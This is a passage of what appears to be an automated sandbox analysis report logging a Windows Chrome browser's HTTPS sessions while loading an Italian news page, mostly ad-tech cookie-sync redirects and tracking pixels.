2024-03-28 08:51:32 UTC	527	IN	HTTP/1.1 302 Found Date: Thu, 28 Mar 2024 08:51:32 GMT Content-Length: 223 Connection: close server: Kestrel location: https://ce.lijit.com/merge?pid=27&3pid=a109dc60-dc7c-45e5-ab53-e2448a53420f&gdpr=0&gdpr_consent= set-cookie: TDID=a109dc60-dc7c-45e5-ab53-e2448a53420f; expires=Fri, 28 Mar 2025 08:51:32 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAEYASACKAIyCwjypJzZ38PnPBAFOAFaBzJ4bGdyemxgAg..; expires=Fri, 28 Mar 2025 08:51:32 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-03-28 08:51:32 UTC	223	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 65 2e 6c 69 6a 69 74 2e 63 6f 6d 2f 6d 65 72 67 65 3f 70 69 64 3d 32 37 26 33 70 69 64 3d 61 31 30 39 64 63 36 30 2d 64 63 37 63 2d 34 35 65 35 2d 61 62 35 33 2d 65 32 34 34 38 61 35 33 34 32 30 66 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 68 74 74 70 73 3a 2f 2f 63 65 2e 6c 69 6a 69 74 2e 63 6f 6d 2f 6d 65 72 67 65 3f 70 69 64 3d 32 37 26 33 70 69 64 3d 61 31 30 39 64 63 36 30 2d 64 63 37 63 2d 34 35 65 35 2d 61 62 35 33 2d 65 32 34 34 38 61 35 33 34 32 30 66 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 3c 2f 61 3e Data Ascii: Redirecting to: <a href="https://ce.lijit.com/merge?pid=27&3pid=a109dc60-dc7c-45e5-ab53-e2448a53420f&gdpr=0&gdpr_consent=">https://ce.lijit.com/merge?pid=27&3pid=a109dc60-dc7c-45e5-ab53-e2448a53420f&gdpr=0&gdpr_consent=</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
435	192.168.2.4	50278	34.120.135.53	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	819	OUT	GET /esp?url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&rid=esp HTTP/1.1 Host: oajs.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=fe628250-ec64-0d68-3371-9efce43e151a\|1711615883; pd=v2\|1711615884\|vMgavPkWgyiK; univ_id=537072971\|a109dc60-dc7c-45e5-ab53-e2448a53420f\|1711615889262557
2024-03-28 08:51:32 UTC	383	IN	HTTP/1.1 200 OK X-Powered-By: Express Access-Control-Allow-Origin: https://bsnews.it Vary: Origin Access-Control-Allow-Credentials: true Content-Type: application/json; charset=utf-8 Content-Length: 85 ETag: W/"55-3zSQwb/2Kp6bmt3YSgVQkd0ZJbY" Date: Thu, 28 Mar 2024 08:51:32 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 08:51:32 UTC	85	IN	Data Raw: 7b 22 65 73 70 22 3a 22 65 79 4a 70 49 6a 6f 69 4c 32 31 4c 51 31 56 50 65 47 74 45 56 32 64 36 59 31 6f 33 4f 44 56 45 4e 46 5a 48 5a 7a 30 39 49 6e 30 3d 22 2c 22 69 22 3a 22 2f 6d 4b 43 55 4f 78 6b 44 57 67 7a 63 5a 37 38 35 44 34 56 47 67 3d 3d 22 7d Data Ascii: {"esp":"eyJpIjoiL21LQ1VPeGtEV2d6Y1o3ODVENFZHZz09In0=","i":"/mKCUOxkDWgzcZ785D4VGg=="}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
436	192.168.2.4	50289	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	619	OUT	GET /sync?ssp=adyoulike&gdpr=0&gdpr_consent= HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://visitor.omnitagjs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:32 UTC	770	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Thu, 28 Mar 2024 08:51:32 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: https://x.bidswitch.net/ul_cb/sync?ssp=adyoulike&gdpr=0&gdpr_consent= Set-Cookie: tuuid=f6fc5731-6145-4496-aa7d-dffabe45a73b; path=/; expires=Fri, 28-Mar-2025 08:51:32 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: c=1711615892; path=/; expires=Fri, 28-Mar-2025 08:51:32 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: tuuid_lu=1711615892; path=/; expires=Fri, 28-Mar-2025 08:51:32 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: c=1711615892; path=/; expires=Fri, 28-Mar-2025 08:51:32 GMT; domain=.bidswitch.net; samesite=none; secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
437	192.168.2.4	50267	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	677	OUT	GET /sync?ssp=adman&user_id=9741359e-b2a2-4864-af08-41d769df6c9b&gdpr=[GDPR]&gdpr_consent=[GDPR_CONSENT] HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://sync.admanmedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:32 UTC	830	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Thu, 28 Mar 2024 08:51:32 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: https://x.bidswitch.net/ul_cb/sync?ssp=adman&user_id=9741359e-b2a2-4864-af08-41d769df6c9b&gdpr=[GDPR]&gdpr_consent=[GDPR_CONSENT] Set-Cookie: tuuid=4a721441-c511-490d-a612-14a0990591f1; path=/; expires=Fri, 28-Mar-2025 08:51:32 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: c=1711615892; path=/; expires=Fri, 28-Mar-2025 08:51:32 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: tuuid_lu=1711615892; path=/; expires=Fri, 28-Mar-2025 08:51:32 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: c=1711615892; path=/; expires=Fri, 28-Mar-2025 08:51:32 GMT; domain=.bidswitch.net; samesite=none; secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
438	192.168.2.4	50265	185.184.8.90	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	623	OUT	GET /cm-notify?pi=adyoulike&gdpr=0&gdpr_consent= HTTP/1.1 Host: creativecdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://visitor.omnitagjs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:32 UTC	766	IN	HTTP/1.1 302 Found date: Thu, 28 Mar 2024 08:51:32 GMT vary: Accept-Encoding set-cookie: g=7MclJpck9LO04DTvKYJR_1711615892684;Path=/;Domain=.creativecdn.com;Expires=Fri, 28-Mar-2025 08:51:32 GMT;Max-Age=31536000;Secure;SameSite=None set-cookie: ts=1711615892;Path=/;Domain=.creativecdn.com;Expires=Fri, 28-Mar-2025 08:51:32 GMT;Max-Age=31536000;Secure;SameSite=None;Partitioned expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: CP="NON DSP COR CURa PSA PSD OUR BUS NAV STA" location: https://creativecdn.com/cm-notify?pi=adyoulike&gdpr=0&gdpr_consent=&tc=1 cache-control: no-cache, no-store, must-revalidate, private, max-age=0 pragma: no-cache date: Thu, 28 Mar 2024 08:51:32 GMT expires: Thu, 01 Jan 1970 00:00:00 GMT content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
439	192.168.2.4	50236	20.101.38.191	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	876	OUT	GET /cm?eid=2685567776971821124&pv=adform&sid=1011&rt=img HTTP/1.1 Host: d.omg.neodatagroup.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cProfile=AQMdCINwxgW/AAAAAAAEAAABjpjbKGMAB2RlZmF1bHQ=; cP=AT8DHQiDcMYFvwAAAAABs0lT; cOptout=0\|yocToken:7AdUuQDnS44iVs6ZYu1ohLMYeJE; tr=loCAwIGjVEREzmYGgRGAgdoANDMxZDA4ODM3MGM2MDViZl9hMTA5ZGM2MC1kYzdjLTQ1ZTUtYWI1My1lMjQ0OGE1MzQyMGbOZgUvkQ==
2024-03-28 08:51:32 UTC	1570	IN	HTTP/1.1 200 Date: Thu, 28 Mar 2024 08:51:32 GMT Content-Type: image/gif;charset=UTF-8 Content-Length: 1 Connection: close P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"; policyref="/ad/w3c/p3p.xml" Access-Control-Allow-Origin: * Set-Cookie: cP=AT8DHQiDcMYFvwAAAAABs0lU; path=/; domain=.neodatagroup.com; SameSite=None; Secure; expires=Fri, 28 Mar 2025 08:51:32 GMT; Set-Cookie: tr=loCAwIKjVEREzmYGgRGmQURGT1JNAICC2gAjMzFkMDg4MzcwYzYwNWJmXzI2ODU1Njc3NzY5NzE4MjExMjTOZgUvlNoANDMxZDA4ODM3MGM2MDViZl9hMTA5ZGM2MC1kYzdjLTQ1ZTUtYWI1My1lMjQ0OGE1MzQyMGbOZgUvkQ==; path=/; domain=.neodatagroup.com; SameSite=None; Secure; expires=Fri, 28 Mar 2025 08:51:32 GMT; Set-Cookie: tr=loCAwIKjVEREzmYGgRGmQURGT1JNAICC2gAjMzFkMDg4MzcwYzYwNWJmXzI2ODU1Njc3NzY5NzE4MjExMjTOZgUvlNoANDMxZDA4ODM3MGM2MDViZl9hMTA5ZGM2MC1kYzdjLTQ1ZTUtYWI1My1lMjQ0OGE1MzQyMGbOZgUvkQ==; path=/; domain=.neodatagroup.com; SameSite=None; Secure; expires=Fri, 28 Mar 2025 08:51:32 GMT; Set-Cookie: tr=loCAwIKjVEREzmYGgRGmQURGT1JNAICC2gAjMzFkMDg4MzcwYzYwNWJmXzI2ODU1Njc3NzY5NzE4MjExMjTOZgUvlNoANDMxZDA4ODM3MGM2MDViZl9hMTA5ZGM2MC1kYzdjLTQ1ZTUtYWI1My1lMjQ0OGE1MzQyMGbOZgUvkQ==; path=/; domain=.neodatagroup.com; SameSite=None; Secure; expires=Fri, 28 Mar 2025 08:51:32 GMT; Set-Cookie: tr=loCAwIKjVEREzmYGgRGmQURGT1JNzmYGgRSAgtoAIzMxZDA4ODM3MGM2MDViZl8yNjg1NTY3Nzc2OTcxODIxMTI0zmYFL5TaADQzMWQwODgzNzBjNjA1YmZfYTEwOWRjNjAtZGM3Yy00NWU1LWFiNTMtZTI0NDhhNTM0MjBmzmYFL5E=; path=/; domain=.neodatagroup.com; SameSite=None; Secure; expires=Fri, 28 Mar 2025 08:51:32 GMT;
2024-03-28 08:51:32 UTC	1	IN	Data Raw: 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
440	192.168.2.4	50272	69.90.254.78	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	638	OUT	GET /tum?umid=134&uid=9741359e-b2a2-4864-af08-41d769df6c9b HTTP/1.1 Host: ums.acuityplatform.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://sync.admanmedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:32 UTC	27	IN	HTTP/1.1 204 No Content

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
441	192.168.2.4	50294	23.105.12.116	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	1068	OUT	GET /api/sync?callerId=5&gdpr=0&gdpr_consent=&us_privacy=&redirectUri=https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D107%26uid%3D[ssb_sync_pid] HTTP/1.1 Host: ssbsync-global.smartadserver.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://onetag-sys.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pbw=%24b%3d16999%3b%24o%3d11100; vs=281855=5910291; TestIfCookie=ok; TestIfCookieP=ok; sasd=%24qc%3D1307002411%3B%24ql%3DUnknown%3B%24qt%3D152_0_0t%3B%24dma%3D511%3B%24qo%3D6; pid=7766515454130361199; sasd2=q=%24qc%3D1307002411%3B%24ql%3DUnknown%3B%24qt%3D152_0_0t%3B%24dma%3D511%3B%24qo%3D6&c=1&l&lo&lt=638472126794237323&o=1
2024-03-28 08:51:32 UTC	173	IN	HTTP/1.1 302 Found content-length: 0 date: Thu, 28 Mar 2024 08:51:31 GMT location: https://onetag-sys.com/match/?int_id=107&uid=7766515454130361199 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
442	192.168.2.4	50293	85.114.159.118	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	839	OUT	GET /cookie/?redirect=https%3A%2F%2Fmwzeom.zeotap.com%2Fmw%3Fcid%3D%25%25COOKIE%25%25%26env%3DmWeb%26zpartnerid%3D563%26env%3DmWeb%26eventType%3Dpageview%26id_mid_4%3D5b95a3db-1a3a-4c5d-7bc4-805f128d851b%26reqId%3D212c3ed0-3dd8-4750-606c-8892c7edded6%26zdid%3D648 HTTP/1.1 Host: dsp.adfarm1.adition.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://spl.zeotap.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:32 UTC	574	IN	HTTP/1.1 302 Found Server: nginx Date: Thu, 28 Mar 2024 08:51:32 GMT Transfer-Encoding: chunked Connection: close p3p: policyref="http://imagesrv.adition.com/w3c/p3p.xml",CP="NON DSP ADM DEV PSD IVDo OTPi OUR IND STP PHY PRE NAV UNI" Set-Cookie: UserID1=7351334279469987990; Max-Age=7776000; domain=.adfarm1.adition.com; Path=/; SameSite=None; Secure Location: https://mwzeom.zeotap.com/mw?cid=7351334279469987990&env=mWeb&zpartnerid=563&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648
2024-03-28 08:51:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
443	192.168.2.4	50270	52.73.182.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	716	OUT	GET /cookie-sync/pm?gdpr=0&gdpr_consent= HTTP/1.1 Host: match.prod.bidr.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:32 UTC	388	IN	HTTP/1.1 303 See Other Date: Thu, 28 Mar 2024 08:51:32 GMT location: https://match.prod.bidr.io/cookie-sync/pm?gdpr=0&gdpr_consent=&_bee_ppp=1 Server: gunicorn set-cookie: checkForPermission=ok; Domain=bidr.io; expires=Thu, 28 Mar 2024 09:01:32 GMT; Path=/; SameSite=None; Secure strict-transport-security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
444	192.168.2.4	50163	184.73.166.124	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	784	OUT	GET /sync/casale/ZgUvi9HM46UAADq7ABhzMwAACsEAAAIB?gdpr_consent=&us_privacy=&gdpr=&gpp=&gpp_sid= HTTP/1.1 Host: pr-bh.ybp.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBJEvBWYCEATYrtx-xGtri1kHhW5ZxLsFEgEBAQGBBmYPZgAAAAAA_eMAAA&S=AQAAAkUcioWL-4l4wBfcMUc-yBU
2024-03-28 08:51:32 UTC	778	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:32 GMT Content-Type: image/gif Content-Length: 43 Connection: close Age: 0 Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy: sandbox; default-src 'self'; script-src 'none'; object-src 'none'; report-uri http://csp.yahoo.com/beacon/csp?src=generic Set-Cookie: A3=d=AQABBJEvBWYCEATYrtx-xGtri1kHhW5ZxLsFEgEBAQGBBmYPZgAAAAAA_eMAAA&S=AQAAAkUcioWL-4l4wBfcMUc-yBU; Expires=Fri, 28 Mar 2025 14:51:32 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-03-28 08:51:32 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 cc cc cc ff ff ff 21 f9 04 05 14 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
445	192.168.2.4	50263	68.67.181.211	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	904	OUT	GET /getuid?https://dsum-sec.casalemedia.com/crum?cm_dsp_id=46&external_user_id=$UID HTTP/1.1 Host: secure.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=FSn7X5NeciEMQOCcjHxXHqehzn-v4svBsj-gMw-pgwSgQCfMLVcv8zsZGedeIaeQHaHBYiGUTPoYHQhuiVJPrQfUeNdxFRZDxgmjjszNmB4.; icu=ChgIjq9kEAoYASABKAEwh9-UsAY4AUABSAEQh9-UsAYYAA..; receive-cookie-deprecation=1; uuid2=3287041831475129344
2024-03-28 08:51:32 UTC	1454	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Thu, 28 Mar 2024 08:51:32 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://dsum-sec.casalemedia.com/crum?cm_dsp_id=46&external_user_id=3287041831475129344 AN-X-Request-Uuid: d961735a-d75d-4a27-9731-889e1f17454f Set-Cookie: XANDR_PANID=FSn7X5NeciEMQOCcjHxXHqehzn-v4svBsj-gMw-pgwSgQCfMLVcv8zsZGedeIaeQHaHBYiGUTPoYHQhuiVJPrQfUeNdxFRZDxgmjjszNmB4.; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 26-Jun-2024 08:51:32 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Thu, 16-Mar-2034 08:51:32 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=3287041831475129344; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 26-Jun-2024 08:51:32 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 102.165.48.43; 102.165.48.43; 584.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
446	192.168.2.4	50187	34.111.113.62	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:33 UTC	743	OUT	GET /idsync/ex/receive?partner_id=3371&partner_device_id=01F5328A-C4D9-44AD-8468-60A885247C68 HTTP/1.1 Host: pixel.tapad.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TapAd_TS=1711615890295; TapAd_DID=40662bab-59e7-453d-8534-da10890213df
2024-03-28 08:51:33 UTC	1227	IN	HTTP/1.1 302 Found Date: Thu, 28 Mar 2024 08:51:33 GMT Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Mobile Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 P3P: policyref="http://tapad-taptags.s3.amazonaws.com/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: TapAd_TS=1711615890295;Expires=Mon, 27 May 2024 08:51:33 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_DID=40662bab-59e7-453d-8534-da10890213df;Expires=Mon, 27 May 2024 08:51:33 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_3WAY_SYNCS=;Expires=Mon, 27 May 2024 08:51:33 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Location: https://match.adsrvr.org/track/cmf/generic?ttd_pid=tapad&ttd_tpi=1&ttd_puid=40662bab-59e7-453d-8534-da10890213df%252C%252C&gdpr=0&gdpr_consent= Content-Length: 0 Server: Jetty(11.0.13) Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
447	192.168.2.4	50160	34.150.170.96	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
